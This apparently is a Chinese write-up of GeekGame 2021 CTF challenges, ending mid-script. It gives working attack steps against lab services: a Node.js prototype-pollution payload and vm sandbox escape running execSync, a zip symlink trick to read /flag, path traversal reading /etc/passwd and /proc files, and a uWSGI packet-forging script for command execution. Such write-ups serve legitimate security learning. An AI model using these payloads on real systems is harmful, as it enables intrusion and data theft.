在想去哪找个1呢?前面那个 package.json 里正好有,来试试行不行。

尝试构造 payload:

GET /api/../package.json?in_path=version/0&out_path[]=constructor/prototype/eval_enabled

然而发现不大行,他是 ===,这个 string 绕不过……得找个 int 的 1.

试了试,发现 Object.length === 1.

于是可以用 {}["constructor"]["length"] 来得到1.

GET /api/demo.json?in_path[]=0/constructor/length

然后改改上面的 payload

GET /api/demo.json?in_path[]=0/constructor/length&out_path[]=constructor/prototype/eval_enabled

再看参数,现在 eval_enabled 就变为数字的 1 了。

这里发现有点锅,得重启一下。

关于 Web 题目环境

为了避免选手之间互相干扰,Web 题目为每个选手分配一个独立的后端环境。

点击 “打开/下载题目” 时,将会访问启动器(网址形如 prob**-manager.geekgame.pku.edu.cn/docker-manager/start?...),这个系统将启动一个该题的后端环境(域名形如 prob**-xxxxxxxx.geekgame.pku.edu.cn),并将选手重定向过去。

持续 15 分钟没有人访问时,后端环境将自动关闭。下次点击 “打开/下载题目” 时会重新启动一个新的环境。

如果环境出现问题,选手可以将启动器网址的 /start 改成 /stop 来手动关闭题目。 手动关闭后需要等待一分钟方可重新启动。

所有 Web 题目环境均没有外网,因此无法反弹 Shell。

via https://geekgame.pku.edu.cn/faq/

https://prob11-manager.geekgame.pku.edu.cn/docker-manager/stop?<your_token>
https://prob11-manager.geekgame.pku.edu.cn/docker-manager/start?<your_token>

然后会分配一个新的 docker 环境。。

现在就能执行代码了。

赛后看其他师傅的 wp,发现其实那个 url 里的 settings 过滤,直接加个 / 就能绕过了,也就是

GET /eval_settings/?on=1

记得先访问一下这个让 req.session.activated = 1

/activate?code=flag{I-Can-activate-FRom-Prototype}

然后就能 eval 了。

再看咋 RCE 呢。

if(eval_mode && /^\([^a-zA-Z"',;]+\)$/.test(term))
    term = safe_eval(term);

safe_eval.js

const child_process = require('child_process');

const CLIENT_CODE = `
const vm = require("vm");
const code = __USERCODE__;
console.log(vm.runInNewContext(code, {}));
`;
const TIMEOUT_MS = 1000;

function safe_eval(s) {
    let code = CLIENT_CODE.replace('__USERCODE__', JSON.stringify(s));
    try {
        let stdout = child_process.execFileSync('/usr/local/bin/node', ['-'], {
            input: code,
            env: {},
            timeout: TIMEOUT_MS,
            encoding: 'utf-8',
            killSignal: 'SIGTERM',
        });
        return stdout.trim();
    } catch(_) {
        return s;
    }
}

module.exports = {
    safe_eval: safe_eval,
};

想到可以 JSFuck 来绕过这个 regex

但是,发现由于是在 header 里传的,太长了就不行了直接 431 了。

先不管这个,接下来就是 vm 逃逸,这个其实相对 vm2 而言还挺简单,直接运行 this.constructor.constructor('return this.process.env')() 就能拿到主函数的上下文环境。

执行系统命令就可以用 this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

这里读文件的话就可以直接用 fs,this.constructor.constructor("require('fs').readFileSync('/proc/xxxx/fd/xx')") 大概这样。


然而,其实还有个问题,**FLAG2 已经被设为 null 了,而且文件已经被 unlink 删了**。

getflag.js

const fs = require('fs');
const crypto = require('crypto');

function getflag(path) {
    let f;
    try {
        f = fs.openSync(path);
    } catch(e) {
        //return 'failed';
        throw e;
    }
    let content = fs.readFileSync(f, {encoding: 'utf-8'}).trim();
    fs.unlinkSync(path);
    return content;
}

module.exports = {
    getflag: getflag,
};

但是,他 fs 没 close 啊!!!!

我们还是可以从主程序的 fd(file descriptor)里拿到的!

也就是 /proc/self/fd/xx,可能要爆破一下,当然也可以本地跑起来看看。


这时又想了想是不是从 env 去打,也就是 fork 新进程的时候通过环境变量来执行命令,参考 NCTF 2020 的 PackageManager_v1.0 一题

但发现这题里 env: {} 已经赋值为空了,不能通过污染原型链来赋值了……

呜呜呜。


于是又回来考虑 jsfuck 的问题,这题这一问本来还想抢一血的,结果从第一天做到了最后一天也没解出来,最后发现果然要优化 jsfuck 啊,好气啊!

TODO

Extensive Reading:

Harekaze 2019 “[a-z().]” (200)

翻车的谜语人

作为曾担任上届比赛命题工作的资深谜语人,You 酱这次也被邀请来出一道考察信息隐写的 Misc 题目。You 酱找组委会确认了本届劳务费能否准时发放后就迅速开工了,但她不知道,这其实是一个彻彻底底的陷阱。

事实上,组委会曾在几个月前收到了报告,称 You 酱或违反规定在题目里私自掺杂大量私货,但这只是个猜想,不一定对。于是,组委会在邀请 You 酱命题的同时,派出间谍麻里奈小姐持续关注 You 酱的一举一动,希望能够发现决定性的证据。

麻里奈小姐不负众望,通过量子波动算法截获了一段 You 酱访问境外服务器的流量记录。现在她想让你来帮忙分析其中的端倪。

flag1

是个流量包,打开一看。

这一看就是 jupyter notebook 吧(

flag1

分别得到

{"type":"notebook","content":{"cells":[{"metadata":{"trusted":true},"cell_type":"code","source":"import zwsp_steg\nfrom Crypto.Random import get_random_bytes","execution_count":26,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"import binascii","execution_count":27,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"def genflag():\n    return 'flag{%s}'%binascii.hexlify(get_random_bytes(16)).decode()","execution_count":28,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"flag1 = genflag()\nflag2 = genflag()","execution_count":29,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"key = get_random_bytes(len(flag1))","execution_count":30,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"key","execution_count":31,"outputs":[{"output_type":"execute_result","execution_count":31,"data":{"text/plain":"b'\\x1e\\xe0[u\\xf2\\xf2\\x81\\x01U_\\x9d!yc\\x8e\\xce[X\\r\\x04\\x94\\xbc9\\x1d\\xd7\\xf8\\xde\\xdcd\\xb2Q\\xa3\\x8a?\\x16\\xe5\\x8a9'"},"metadata":{}}]},{"metadata":{"trusted":true},"cell_type":"code","source":"def xor_each(k, b):\n    assert len(k)==len(b)\n    out = []\n    for i in range(len(b)):\n        out.append(b[i]^k[i])\n    return bytes(out)","execution_count":32,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"encoded_flag1 = xor_each(key, flag1.encode())\nencoded_flag2 = xor_each(key, flag2.encode())","execution_count":33,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"with open('flag1.txt', 'wb') as f:\n    f.write(binascii.hexlify(encoded_flag1))","execution_count":35,"outputs":[]},{"metadata":{"trusted":true},"cell_type":"code","source":"","execution_count":null,"outputs":[]}],"metadata":{"kernelspec":{"name":"python3","display_name":"Python 3 (ipykernel)","language":"python"},"language_info":{"name":"python","version":"3.8.3rc1","mimetype":"text/x-python","codemirror_mode":{"name":"ipython","version":3},"pygments_lexer":"ipython3","nbconvert_exporter":"python","file_extension":".py"}},"nbformat":4,"nbformat_minor":4}}
{"name": "flag1.txt", "path": "flag1.txt", "last_modified": "2021-11-06T07:43:20.952991Z", "created": "2021-11-06T07:43:20.952991Z", "content": "788c3a1289cbe5383466f9184b07edac6a6b3b37f78e0f7ce79bece502d63091ef5b7087bc44", "format": "text", "mimetype": "text/plain", "size": 76, "writable": true, "type": "file"}

是简单的 xor,然后按照原来的代码简单还原一下就行。

from os import fspath
# import zwsp_steg
from Crypto.Random import get_random_bytes
import binascii


def genflag():
    return 'flag{%s}' % binascii.hexlify(get_random_bytes(16)).decode()


flag1 = genflag()
flag2 = genflag()
key = get_random_bytes(len(flag1))
key
# b'\x1e\xe0[u\xf2\xf2\x81\x01U_\x9d!yc\x8e\xce[X\r\x04\x94\xbc9\x1d\xd7\xf8\xde\xdcd\xb2Q\xa3\x8a?\x16\xe5\x8a9'
key1 = b'\x1e\xe0[u\xf2\xf2\x81\x01U_\x9d!yc\x8e\xce[X\r\x04\x94\xbc9\x1d\xd7\xf8\xde\xdcd\xb2Q\xa3\x8a?\x16\xe5\x8a9'


def xor_each(k, b):
    assert len(k) == len(b)
    out = []
    for i in range(len(b)):
        out.append(b[i] ^ k[i])
    return bytes(out)


encoded_flag1 = xor_each(key, flag1.encode())
encoded_flag2 = xor_each(key, flag2.encode())

with open('flag1.txt', 'wb') as f:
    f.write(binascii.hexlify(encoded_flag1))


# flag1.txt
# 788c3a1289cbe5383466f9184b07edac6a6b3b37f78e0f7ce79bece502d63091ef5b7087bc44
flag1_en = binascii.unhexlify("788c3a1289cbe5383466f9184b07edac6a6b3b37f78e0f7ce79bece502d63091ef5b7087bc44")
flag1_de = xor_each(flag1_en, key1)
print(flag1_de)
# b'flag{9d9a9d92dcb1363c26a0c29fda2edfb6}'

flag2

save 一下,发现这个 7z 里面还得要密码。

strings 看一眼,发现了压缩的过程,很明显这个应该是在 terminal 里进行的,是通过 websocket 进行交互。

先过滤 websocket,然后 tcp.stream eq 11

["setup", {}].`["stdout", "\u001b[01;32mroot@you-kali-vm\u001b[00m:\u001b[01;34m~/course/geekgame\u001b[00m# "].j["stdout", "\r\u001b[K\u001b[01;32mroot@you-kali-vm\u001b[00m:\u001b[01;34m~/course/geekgame\u001b[00m# "]..["stdout", "p"]..["stdout", "i"]..["stdout", "p"]..["stdout", "3"]..["stdout", " "]..["stdout", "i"]..["stdout", "n"]..["stdout", "s"]..["stdout", "t"]..["stdout", "a"]..["stdout", "l"]..["stdout", "l"]..["stdout", " "]..["stdout", "s"]..["stdout", "t"]..["stdout", "e"]..["stdout", "g"]..["stdout", "o"]..["stdout", "-"]..["stdout", "l"]..["stdout", "s"]..["stdout", "b"]..["stdout", "\r\n"].N["stdout", "Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple\r\n"].&["stdout", "Collecting stego-lsb\r\n"].~..["stdout", "  Downloading https://pypi.tuna.tsinghua.edu.cn/packages/8a/2b/5be4be36ccb3788f1443805583f9ab8182f88f15143778a72dc259b54557/stego_lsb-1.3.1.tar.gz (10 kB)\r\n"].>["stdout", "  Preparing metadata (setup.py) ... \u001b[?25l-"]..["stdout", "\b \bdone\r\n"].~..["stdout", "\u001b[?25hRequirement already satisfied: Click>=7.0 in /usr/local/lib/python3.8/dist-packages (from stego-lsb) (8.0.1)\r\n"].y["stdout", "Requirement already satisfied: Pillow>=5.3.0 in /usr/lib/python3/dist-packages (from stego-lsb) (6.2.1)\r\n"].z["stdout", "Requirement already satisfied: numpy>=1.15.4 in /usr/lib/python3/dist-packages (from stego-lsb) (1.17.4)\r\n"].C["stdout", "Building wheels for collected packages: stego-lsb\r\n"].H["stdout", "  Building wheel for stego-lsb (setup.py) ... \u001b[?25l-"]..["stdout", "\b \bdone\r\n"].~.*["stdout", "\u001b[?25h  Created wheel for stego-lsb: filename=stego_lsb-1.3.1-py2.py3-none-any.whl size=12135 sha256=20d5395e597058e6e37da40acc32a1c876fc7f334c671591c422b048e38cb5f2\r\n  Stored in directory: /root/.cache/pip/wheels/ee/b5/10/f779bd3e1c420586ef8cc2cb8768073362f51e3024e7116cc3\r\n"]..["stdout", "Successfully built stego-lsb\r\n"].:["stdout", "Installing collected packages: stego-lsb\r\n"].~.,["stdout", "Successfully installed stego-lsb-1.3.1\r\n\u001b[33mWARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv\u001b[0m\r\n"].`["stdout", "\u001b[01;32mroot@you-kali-vm\u001b[00m:\u001b[01;34m~/course/geekgame\u001b[00m# "]..["stdout", "s"]..["stdout", "t"]..["stdout", "e"]..["stdout", "g"]..["stdout", "o"]..["stdout", "-"]..["stdout", "l"]..["stdout", "\u0007"]..["stdout", "s"]..["stdout", "b"]..["stdout", " "]..["stdout", "\b\u001b[K"]..["stdout", "\b\u001b[K"]..["stdout", "\b\u001b[K"]..["stdout", "\b\u001b[K"]..["stdout", "\b\u001b[K"]..["stdout", "l"]..["stdout", "s"]..["stdout", "b"]..["stdout", " "]..["stdout", "w"]..["stdout", "a"]..["stdout", "v"]..["stdout", "s"]..["stdout", "t"]..["stdout", "e"]..["stdout", "g"]..["stdout", " "]..["stdout", "-"]..["stdout", "h"]..["stdout", " "]..["stdout", "-"]..["stdout", "i"]..["stdout", " "]..["stdout", "k"]..["stdout", "i"]..["stdout", "-"]..["stdout", "ringtrain.wav "]..["stdout", "-"]..["stdout", "s"]..["stdout", " "]..["stdout", "f"]..["stdout", "l"]..["stdout", "a"]..["stdout", "g"]..["stdout", "2"]..["stdout", "."]..["stdout", "t"]..["stdout", "xt "]..["stdout", "-"]..["stdout", "o"]..["stdout", " "]..["stdout", "f"]..["stdout", "l"]..["stdout", "\u0007ag"]..["stdout", "2"]..["stdout", "."]..["stdout", "txt "]..["stdout", "\b\u001b[K"]..["stdout", "\b\u001b[K"]..["stdout", "\b\u001b[K"]..["stdout", "\b\u001b[K"]..["stdout", "w"]..["stdout", "a"]..["stdout", "v"]..["stdout", " "]..["stdout", "-"]..["stdout", "n"]..["stdout", " "]..["stdout", "1"]..["stdout", "\r\n"].8["stdout", "Using 1 LSBs, we can hide 297712 bytes\r\n"].9["stdout", "Files read                     in 0.00s\r\n"].9["stdout", "76 bytes hidden                in 0.01s\r\n"].9["stdout", "Output wav written             in 0.00s\r\n"].`["stdout", "\u001b[01;32mroot@you-kali-vm\u001b[00m:\u001b[01;34m~/course/geekgame\u001b[00m# "]..["stdout", "7"]..["stdout", "z"]..["stdout", "a"]..["stdout", " "]..["stdout", "a"]..["stdout", " "]..["stdout", "f"]..["stdout", "l"]..["stdout", "a"]..["stdout", "g"]..["stdout", "2"]..["stdout", "."]....["stdout", "7"]..["stdout", "z"]..["stdout", " "]..["stdout", "f"]..["stdout", "l"]..["stdout", "a"]..["stdout", "g"]..["stdout", "2"]..["stdout", "."]..["stdout", "w"]..["stdout", "a"]..["stdout", "v"]..["stdout", " "]..["stdout", "-"]..["stdout", "p"]..["stdout", "\""]..["stdout", "\""]..["stdout", "\b"]..["stdout", "W\"\b"]..["stdout", "a\"\b"]..["stdout", "k\"\b"]..["stdout", "a\"\b"]..["stdout", "r\"\b"]..["stdout", "i\"\b"]..["stdout", "m\"\b"]..["stdout", "a\"\b"]..["stdout", "s\"\b"]..["stdout", "u\"\b"]..["stdout", "!\"\b"]..["stdout", " \"\b"]..["stdout", "`\"\b"]..["stdout", "d\"\b"]..["stdout", "a\"\b"]..["stdout", "t\"\b"]..["stdout", "e\"\b"]..["stdout", "`\"\b"]..["stdout", " \"\b"]..["stdout", "`\"\b"]..["stdout", "u\"\b"]..["stdout", "n\"\b"]..["stdout", "a\"\b"]..["stdout", "m\"\b"]..["stdout", "e\"\b"]..["stdout", " \"\b"]..["stdout", "-\"\b"]..["stdout", "n\"\b"]..["stdout", "o\"\b"]..["stdout", "m\"\b"]..["stdout", "`\"\b"]..["stdout", " \"\b"]..["stdout", "`\"\b"]..["stdout", "n\"\b"]..["stdout", "p\"\b"]..["stdout", "r\"\b"]..["stdout", "o\"\b"]..["stdout", "c\"\b"]..["stdout", "`\"\b"]..["stdout", "\r\n"].~..["stdout", "\r\n7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21\r\np7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz (806EC),ASM,AES-NI)\r\n\r\n"].~..["stdout", "Scanning the drive:\r\n  0M Scan \b\b\b\b\b\b\b\b\b\b          \b\b\b\b\b\b\b\b\b\b1 file, 4763436 bytes (4652 KiB)\r\n\r\nCreating archive: flag2.7z\r\n\r\nItems to compress: 1\r\n\r\n"]..["stdout", "  0%"].2["stdout", "\b\b\b\b    \b\b\b\b  3% + flag2.wav"].n["stdout", "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b                \b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b 29% + flag2.wav"].p["stdout", "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b                \b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b 57% 1 + flag2.wav"].z["stdout", "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b                  \b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b 82% 1 + flag2.wav"].~..["stdout", "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b                  \b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\r\nFiles read from disk: 1\r\nArchive size: 2935226 bytes (2867 KiB)\r\nEverything is Ok\r\n"].`["stdout", "\u001b[01;32mroot@you-kali-vm\u001b[00m:\u001b[01;34m~/course/geekgame\u001b[00m# "]....

还好不多,那就人工提取一下

pip3 install stego-lsb
# stegolsb wavsteg balabala 
# 反正是把 flag2.txt 写入 wav 音频
wavsteg -h -i ki-ringtrain.wav -s flag2.txt -o flag2.wav
7z a flag2.7z flag2.wav -p"Wakarimasu! `date` `uname -nom` `nproc`"

uname -nom 很明显是 you-kali-vm x86_64 GNU/Linux

nproc 通过上面 7z 的执行过程 8 CPUs 可以知道是 8.

date 根据流量包的时间戳可以得到大概时间是 Nov 6, 2021 15:44:15.190826000 中国标准时间 这附近。

然而这个的格式不知道啊,试了几种常见的,老半天都不对啊……

再根据提示

第二阶段提示

Flag 1. You 酱在一边挂着 B 站直播间一边使用 Jupyter Notebook 出题,你只需关心后者

Flag 2. You 酱前几天在服务器上运行了命令 date,并把输出分享给了你:Sat 06 Nov 2021 11:45:14 PM CST

最后得到密码是

Wakarimasu! Sat 06 Nov 2021 03:44:15 PM CST you-kali-vm x86_64 GNU/Linux 8

(为啥我不直接在 kali 里敲 date 试试啊,草

解压得到 flag2.wav

根据上面的输入,可以知道用了 stego-lsb 这个 pypi 库

参考文档将其恢复出来。

$ stegolsb wavsteg -r -i flag2.wav -o output.txt -n 1 -b 1000      
Files read                     in 0.01s
Recovered 1000 bytes           in 0.00s
Written output file            in 0.00s
$ cat output.txt
788c3a128994e765373cfc171c00edfb3f603b67f68b087eb69cb8b8508135c5b90920d1b344

然后再还原一下得到 flag。

flag2_en = binascii.unhexlify("788c3a128994e765373cfc171c00edfb3f603b67f68b087eb69cb8b8508135c5b90920d1b344")
flag2_de = xor_each(flag2_en, key1)
print(flag2_de)

flag{ffdbca6ecc5d86cb71cadfd43df36649}

在线解压网站

Q 小网盘可以在线预览多种文件,但是唯独压缩文件不能在线解压。这让小 A 十分难受。

为了解决这个问题,小 A 写了一个在线解压网站。只要你上传zip文件到这个网站,它就会自动帮你解压,之后你就可以访问解压出来的文件了。配合着浏览器插件,可以完美解决 Q 小网盘的痛点。

为了让大家相信他的网站是安全的,不会把压缩文件内容的泄漏给其他人,他在磁盘根目录下放了一个叫 flag 的文件,声称只要能拿到其中内容就可以获得一顿火锅。你以他的网站功能并不完整为理由,想骗取一顿火锅。然而他只是表示这并不影响网站的安全性,只有攻破网站的人才能获得火锅。

你十分生气,铁了心地要吃上这顿免费的火锅。

你可以 下载本题的程序

源码如下。

import os
import json
from shutil import copyfile
from flask import Flask,request,render_template,url_for,send_from_directory,make_response,redirect
from werkzeug.middleware.proxy_fix import ProxyFix
from flask import jsonify
from hashlib import md5
import signal
from http.server import HTTPServer, SimpleHTTPRequestHandler

os.environ['TEMP']='/dev/shm'

app = Flask("access")
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1 ,x_proto=1)


@app.route('/',methods=['POST', 'GET'])
def index():
    if request.method == 'POST':
        f=request.files['file']
        os.system("rm -rf /dev/shm/zip/media/*")
        path=os.path.join("/dev/shm/zip/media",'tmp.zip')
        f.save(path)
        os.system('timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/')
        os.system('rm /dev/shm/zip/media/tmp.zip')
        return redirect('/media/')
    response = render_template('index.html')
    return response

@app.route('/media/',methods=['GET'])
@app.route('/media',methods=['GET'])
@app.route('/media/<path>',methods=['GET'])
def media(path=""):
    npath=os.path.join("/dev/shm/zip/media",path)
    if not os.path.exists(npath):
        return make_response("404",404)
    if not os.path.isdir(npath):
        f=open(npath,'rb')
        response = make_response(f.read())
        response.headers['Content-Type'] = 'application/octet-stream'
        return response
    else:
        fn=os.listdir(npath)
        fn=[".."]+fn
        f=open("templates/template.html")
        x=f.read()
        f.close()
        ret="<h1>文件列表:</h1><br><hr>"
        for i in fn:
            tpath=os.path.join('/media/',path,i)
            ret+="<a href='"+tpath+"'>"+i+"</a><br>"
        x=x.replace("HTMLTEXT",ret)
        return x


os.system('mkdir /dev/shm/zip')
os.system('mkdir /dev/shm/zip/media')

app.run(host="0.0.0.0",port=8080,debug=False,threaded=True)

可以看到对上传的压缩包进行了解压处理,而在 /media/<path> 路由下读取了相应的文件,并返回给前端。

那就很简单啦,整个 symbolic link 符号链接到 /flag,然后 zip 压缩打包进去就完事了。

zip / unzip 的参数(man page)

-y
­–symlinks
For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.

注意需要在 Linux 下进行操作(

ln -s /flag meowflag
zip --symlink meowflag.zip meowflag

然后上传这个压缩包上去。

下载下来就是 /flag

flag{neV3r_trUSt_Any_c0mpresSed_File}

早期人类的聊天室

You 酱有着二十一年网龄,她依稀记得最开始人们是怎么在网上聊天的。那时的网页聊天室功能单一,所有的信息都是纯文本,中文字符甚至需要手动编码,才能发送到网络的另一端。“你今天吃什么?” 亲切的问候顺着这条虚拟的信息管道传达到全世界,可能这就是 管人VPiper 的魅力吧。

现在的年轻人似乎都不懂这种原始的沟通方式了,You 酱很伤心。为了重铸 管人VPiper 荣光,她用最喜欢的 Python 库 Flask 写了一个模拟早期聊天室的网页,希望你也能体会到其中的乐趣。

You 酱记得很清楚,系统上线之前应该关闭调试开关,设置正确的权限,并且用 uwsgi 代替 Flask 的自带服务器。Flag 文件位于磁盘的根目录,即 /flag

点击 “打开/下载题目” 进入题目网页

补充说明:初次访问时可能遇到 502 错误,这是因为后端尚未启动完成,等几秒后刷新即可

实际上就是个 SSRF 的入口。

随便发点东西,返回的只是固定有限的几个结果,没啥用的亚子。

给了源码 app.py

from flask import Flask, redirect, Response, request, render_template
import utils, base64

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    data = {}
    data['day'] = utils.get_today()
    data['server_addr'] = utils.get_default_server()

    if request.method == 'POST':
        data['server_addr'] = request.form['server']
        data['content'] = request.form['content']
        try:
            base64.b64decode(data['content'].strip(), validate=True)
        except:
            data['content'] = base64.b64encode(data['content'])

        data['response'] = utils.send_msg(data['server_addr'], base64.b64decode(data['content']))
        utils.write_chat_log(data['content'], data['response'])
    
    return render_template('chatbot.html', data=data)

@app.route('/module', methods=['GET'])
def module():
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'chatlog'
    data = {}
    if 'chatlog' == page:
        try:
            logfile = request.args.get('log') \
                or 'chat_log_%s' % utils.get_today()
            log = open('media/{}'.format(logfile)).read()
        except:
            log = 'No chat log'
        data['log'] = log
    elif 'chatbot' == page:
        data['day'] = utils.get_today()
    else:
        return redirect('/')

    return render_template('{}.html'.format(page), data=data)

@app.route('/src')
def src():
    with open(__file__, encoding='utf-8') as f:
        src = f.read()
    
    resp = Response(src)
    resp.headers['content-type'] = 'text/plain; charset=utf-8'
    return resp

#app.run()

根据源码,我们可以构造 payload 去读取任意文件。

GET /module?log=../utils.py

utils.py

import socket
from time import sleep
from datetime import date
from pprint import pformat

def get_today():
    return date.today().strftime('%Y_%m_%d')

def var_dump(var):
    return pformat(var)

def get_default_server():
    return '127.0.0.1:1234'

def send_msg(server_addr, msg):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        (ip, port) = server_addr.strip().split(':')
        s.connect((ip, int(port)))
        s.sendall(msg)
        sleep(1)
        r = s.recv(2048)
        s.close()
        return r.decode('utf8')
    except Exception as e:
        s.close()
        return str(e)

def write_chat_log(send, recv):
    logfile = open('media/chat_log_{}'.format(get_today()), 'a+')
    logfile.writelines(['you sent --->\n', send+'\n', 'server replied <---\n', recv+'\n'])

可以看出是通过 socket 把输入 base64 decode 一下,然后发包,再把结果返回给前端。

刚开始以为是 flask SSTI,于是读了读模板 templates/chatbot.html

<!doctype html>
<title>Chat Bot!</title>
<link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">

<section class="content">
    <form method="post">
        <label for="server">Chatbot Address</label>
        <input name="server" type="text" id="server" value="{{ data.server_addr }}" required>
        <label for="content">Chat window (base64 encoded)</label>
        <textarea name="content" rows="22" cols="80" id="content">{{ data.content }}</textarea>
        <br />
        <label for="response">Chatbot response (base64 encoded)</label>
        <textarea name="response" rows="22" cols="80" id="response" readonly>{{ data.response }}</textarea>
        <input type="submit" value="submit">
    </form>
    <p><a href="/module?name=chatlog&log=chat_log_{{ data.day }}">Click to view chat log</a></p>
    <p><a href="/src">Open source</a></p>
</section>

然而试了老半天也没成功注入这个 data.content 或者 data.response

还想了能不能构造个错误请求,在 url 里附带 {{}} 这种,然而发现后端用的 nginx 套 uwsgi,请求的 url 并不会出现在 response 中,遂作罢。

试了试是可以读到 /etc/passwd 之类的,于是想看看这个默认的 1234 端口对应啥程序,以及当前运行的有啥东西,也就是信息收集啦。

先读了读 /proc/self/cmdline,然后爆破了 /proc/<pid>/cmdline,再依次去读相应的配置文件。

chatbot.py 看起来没啥用,只是为了默认的 1234 端口的响应罢了。

#!/usr/bin/env python
#coding:utf-8

import socketserver
import base64, random


class ChatBotServer(socketserver.BaseRequestHandler):
    def handle(self):
        conn = self.request
        while True:
            data = conn.recv(2048).decode('utf8')
            if data.strip() == "exit":
                print("断开与%s的连接!" % (self.client_address,))
                conn.sendall((b"%s\n" % base64.b64encode('Goodbye!')))
                break
            r = [b'Hello!', b'Alola!', b'Nice to meet you.', b'What a wonderful game!', b'Try again and harder!', b'Good luck to you!']
            conn.sendall((b"%s\n" % base64.b64encode(random.choice(r))))
            break

if __name__ == '__main__':
    server = socketserver.ThreadingTCPServer(('127.0.0.1', 1234), ChatBotServer)
    print("启动ChatBot!")
    server.serve_forever()

确实没啥用

supervisor-ctf.conf

[supervisord]
logfile=/tmp/supervisord.log ; main log file; default $CWD/supervisord.log
logfile_maxbytes=50MB        ; max main logfile bytes b4 rotation; default 50MB
logfile_backups=0           ; # of main logfile backups; 0 means none, default 10
loglevel=info                ; log level; default info; others: debug,warn,trace
pidfile=/tmp/supervisord.pid ; supervisord pidfile; default supervisord.pid
nodaemon=true               ; start in foreground if true; default false
silent=false                 ; no logs to stdout if true; default false
minfds=1024                  ; min. avail startup file descriptors; default 1024
minprocs=200                 ; min. avail process descriptors;default 200

[program:uwsgi]
command=uwsgi --ini /tmp/uwsgi-ctf.ini
user=root
autorestart=true
autostart=true
startretries=3
redirect_stderr=true
startsecs=5
stdout_logfile=/tmp/supervisor.log
stopasgroup=true
killasgroup=true
priority=999

[program:chatbot]
command=python /usr/src/ufctf/chatbot.py
user=nobody
autorestart=true
autostart=true
startretries=3
redirect_stderr=true
startsecs=5
stdout_logfile=/tmp/supervisor.log
stopasgroup=true
killasgroup=true
priority=999

uwsgi-ctf.ini

[uwsgi]
socket = :3031
chdir = /usr/src/ufctf
manage-script-name = true
mount = /=app:app
master = true
uid = nobody
gid = nogroup
workers = 2
buffer-size = 65535
enable-threads = true
pidfile = /tmp/uwsgi.pid
GET /module?log=../run.sh
#!/bin/sh

cd /usr/src/ufctf

cp /flagtmp /flag
echo "" > /flagtmp

chown nobody -R . \
    && chmod 0666 -R /tmp/* \
    && chown root:root /flag \
    && chmod 0600 /flag

socat UNIX-LISTEN:/sock/socat.sock,fork,reuseaddr TCP4:127.0.0.1:8080 &

nginx -c /etc/nginx/nginx.conf
exec supervisord -n -c /etc/supervisor-ctf.conf

可以看出 uwsgi 绑定了 0.0.0.0:3031,而且 supervisor 里 uwsgi 是 root 用户跑的,但其 workers 是 nobody。

于是整了老半天就卡住了。

第二阶段提示

把 uwsgi 端口暴露给别人是个危险的事情,可以被用来干坏事

正确的权限设置能阻止干坏事。错误的权限设置能用来干更多坏事。

果然是 uWSGI 开了端口的锅。

其协议中有一个参数UWSGI_FILE,可以用来忽略原有uWSGI绑定 App,动态设定一个新的文件进行加载执行。这是一个LFI的漏洞,可以任意执行本地存在的任何文件,再结合 uWSGI 程序中默认注册的一系列 schemes,其中有exec协议。于是可以直接通过刚才的UWSGI_FILE变量传参,导致远程执行系统命令。

那就直接利用 hint 里给的 exp 来生成 payload 好了。

刚开始还是先生成一个执行命令,输出写入到临时文件的 payload,再手动在浏览器里执行,然后去读这个临时文件的结果。整了老半天发现还读不到 flag,很难受,于是最后心态崩了,干脆把交互过程一起写了吧。。。唉(

import re
import time
import base64
import sys
import socket
import argparse
import requests


def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    # if sys.version_info[0] == 3: import bytes
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result


def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)


def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)


def fetch_data(uri, payload=None, body=None):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    # s.headers['UWSGI_FILE'] = payload
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)

    return {
        'code': d.status_code,
